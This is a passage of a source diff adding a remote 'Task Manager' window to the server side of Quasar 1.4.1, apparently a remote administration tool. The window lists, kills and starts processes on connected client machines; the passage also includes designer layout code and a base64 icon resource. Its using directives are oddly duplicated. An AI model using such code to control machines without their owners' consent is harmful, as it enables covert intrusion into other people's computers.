System.Windows.Forms.ToolStripMenuItem(); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.searchPanel = new System.Windows.Forms.Panel(); + this.txtSearch = new System.Windows.Forms.TextBox(); + this.lblSearch = new System.Windows.Forms.Label(); + this.lstTasks = new Quasar.Server.Controls.AeroListView(); + this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.processesToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.contextMenuStrip.SuspendLayout(); + this.tableLayoutPanel.SuspendLayout(); + this.searchPanel.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.killProcessToolStripMenuItem, + this.startProcessToolStripMenuItem, + this.lineToolStripMenuItem, + this.refreshToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(167, 88); + // + // killProcessToolStripMenuItem + // + this.killProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem"; + this.killProcessToolStripMenuItem.Size = new System.Drawing.Size(166, 26); + this.killProcessToolStripMenuItem.Text = "Kill Process"; + this.killProcessToolStripMenuItem.Click += new System.EventHandler(this.killProcessToolStripMenuItem_Click); + // + // startProcessToolStripMenuItem + // + this.startProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_go; + this.startProcessToolStripMenuItem.Name = "startProcessToolStripMenuItem"; + this.startProcessToolStripMenuItem.Size = new System.Drawing.Size(166, 26); + this.startProcessToolStripMenuItem.Text = "Start Process"; + this.startProcessToolStripMenuItem.Click += new System.EventHandler(this.startProcessToolStripMenuItem_Click); + // + // lineToolStripMenuItem + // + this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; + this.lineToolStripMenuItem.Size = new System.Drawing.Size(163, 6); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(166, 26); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.searchPanel, 0, 0); + this.tableLayoutPanel.Controls.Add(this.lstTasks, 0, 1); + this.tableLayoutPanel.Controls.Add(this.statusStrip, 0, 2); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 3; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 43F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 28F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(1026, 616); + this.tableLayoutPanel.TabIndex = 2; + // + // searchPanel + // + this.searchPanel.Controls.Add(this.txtSearch); + this.searchPanel.Controls.Add(this.lblSearch); + this.searchPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.searchPanel.ForeColor = System.Drawing.Color.White; + this.searchPanel.Location = new System.Drawing.Point(3, 3); + this.searchPanel.Name = "searchPanel"; + this.searchPanel.Size = new System.Drawing.Size(1020, 37); + this.searchPanel.TabIndex = 3; + // + // txtSearch + // + this.txtSearch.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtSearch.ForeColor = System.Drawing.Color.White; + this.txtSearch.Location = new System.Drawing.Point(55, 11); + this.txtSearch.Name = "txtSearch"; + this.txtSearch.Size = new System.Drawing.Size(956, 26); + this.txtSearch.TabIndex = 1; + this.txtSearch.TextChanged += new System.EventHandler(this.txtSearch_TextChanged); + // + // lblSearch + // + this.lblSearch.AutoSize = true; + this.lblSearch.ForeColor = System.Drawing.Color.White; + this.lblSearch.Location = new System.Drawing.Point(9, 14); + this.lblSearch.Name = "lblSearch"; + this.lblSearch.Size = new System.Drawing.Size(40, 19); + this.lblSearch.TabIndex = 0; + this.lblSearch.Text = "Filter:"; + // + // lstTasks + // + this.lstTasks.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hProcessname, + this.hPID, + this.hTitle}); + this.lstTasks.ContextMenuStrip = this.contextMenuStrip; + this.lstTasks.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstTasks.ForeColor = System.Drawing.Color.White; + this.lstTasks.FullRowSelect = true; + this.lstTasks.GridLines = true; + this.lstTasks.HideSelection = false; + this.lstTasks.Location = new System.Drawing.Point(4, 47); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstTasks.LvwColumnSorter = listViewColumnSorter1; + this.lstTasks.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstTasks.Name = "lstTasks"; + this.lstTasks.Size = new System.Drawing.Size(1018, 537); + this.lstTasks.TabIndex = 1; + this.lstTasks.UseCompatibleStateImageBehavior = false; + this.lstTasks.View = System.Windows.Forms.View.Details; + this.lstTasks.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstTasks_ColumnClick); + // + // hProcessname + // + this.hProcessname.Text = "Processname"; + this.hProcessname.Width = 202; + // + // hPID + // + this.hPID.Text = "PID"; + // + // hTitle + // + this.hTitle.Text = "Title"; + this.hTitle.Width = 531; + // + // statusStrip + // + this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.processesToolStripStatusLabel}); + this.statusStrip.Location = new System.Drawing.Point(0, 588); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1026, 28); + this.statusStrip.TabIndex = 2; + this.statusStrip.Text = "statusStrip1"; + // + // processesToolStripStatusLabel + // + this.processesToolStripStatusLabel.Name = "processesToolStripStatusLabel"; + this.processesToolStripStatusLabel.Size = new System.Drawing.Size(87, 22); + this.processesToolStripStatusLabel.Text = "Processes: 0"; + // + // FrmTaskManager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1026, 616); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(434, 549); + this.Name = "FrmTaskManager"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Task Manager []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmTaskManager_FormClosing); + this.Load += new System.EventHandler(this.FrmTaskManager_Load); + this.contextMenuStrip.ResumeLayout(false); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.searchPanel.ResumeLayout(false); + this.searchPanel.PerformLayout(); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem killProcessToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startProcessToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hProcessname; + private System.Windows.Forms.ColumnHeader hPID; + private System.Windows.Forms.ColumnHeader hTitle; + private System.Windows.Forms.ToolStripSeparator lineToolStripMenuItem; + private AeroListView lstTasks; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripStatusLabel processesToolStripStatusLabel; + private System.Windows.Forms.Panel searchPanel; + private System.Windows.Forms.TextBox txtSearch; + private System.Windows.Forms.Label lblSearch; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.cs new file mode 100755 index 0000000..b24ce7e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.cs @@ -0,0 +1,216 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Controls; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmTaskManager : Form + { + /// + /// The client which can be used for the task manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly TaskManagerHandler _taskManagerHandler; + + /// + /// Holds the opened task manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Stores all processes for filtering + /// + private Process[] _allProcesses = new Process[0]; + + /// + /// Creates a new task manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the task manager form. + /// + /// Returns a new task manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmTaskManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmTaskManager f = new FrmTaskManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the task manager form. + public FrmTaskManager(Client client) + { + _connectClient = client; + _taskManagerHandler = new TaskManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the task manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _taskManagerHandler.ProgressChanged += TasksChanged; + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; + MessageHandler.Register(_taskManagerHandler); + } + + /// + /// Unregisters the task manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; + _taskManagerHandler.ProgressChanged -= TasksChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void TasksChanged(object sender, Process[] processes) + { + _allProcesses = processes; + ApplyFilter(); + } + + private void ApplyFilter() + { + string searchText = txtSearch.Text.ToLower(); + + lstTasks.Items.Clear(); + + foreach (var process in _allProcesses) + { + // Apply filter + if (!string.IsNullOrEmpty(searchText)) + { + bool matchesName = process.Name.ToLower().Contains(searchText); + bool matchesPid = process.Id.ToString().Contains(searchText); + bool matchesTitle = process.MainWindowTitle.ToLower().Contains(searchText); + + if (!matchesName && !matchesPid && !matchesTitle) + continue; + } + + ListViewItem lvi = + new ListViewItem(new[] {process.Name, process.Id.ToString(), process.MainWindowTitle}); + + // Highlight Quasar client process in red + if (process.Name.Equals("Client.exe", StringComparison.OrdinalIgnoreCase) || + process.Name.Equals("Client", StringComparison.OrdinalIgnoreCase)) + { + lvi.ForeColor = System.Drawing.Color.Red; + } + + lstTasks.Items.Add(lvi); + } + + processesToolStripStatusLabel.Text = $"Processes: {lstTasks.Items.Count} / {_allProcesses.Length}"; + } + + private void txtSearch_TextChanged(object sender, EventArgs e) + { + ApplyFilter(); + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + string text = string.Empty; + switch (action) + { + case ProcessAction.Start: + text = result ? "Process started successfully" : "Failed to start process"; + break; + case ProcessAction.End: + text = result ? "Process ended successfully" : "Failed to end process"; + break; + } + + processesToolStripStatusLabel.Text = text; + } + + private void FrmTaskManager_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient); + _taskManagerHandler.RefreshProcesses(); + } + + private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem lvi in lstTasks.SelectedItems) + { + _taskManagerHandler.EndProcess(int.Parse(lvi.SubItems[1].Text)); + } + } + + private void startProcessToolStripMenuItem_Click(object sender, EventArgs e) + { + string processName = string.Empty; + if (InputBox.Show("Process name", "Enter Process name:", ref processName) == DialogResult.OK) + { + _taskManagerHandler.StartProcess(processName); + } + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + _taskManagerHandler.RefreshProcesses(); + } + + private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstTasks.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.resx new file mode 100755 index 0000000..77bb538 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.resx @@ -0,0 +1,665 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 166, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + 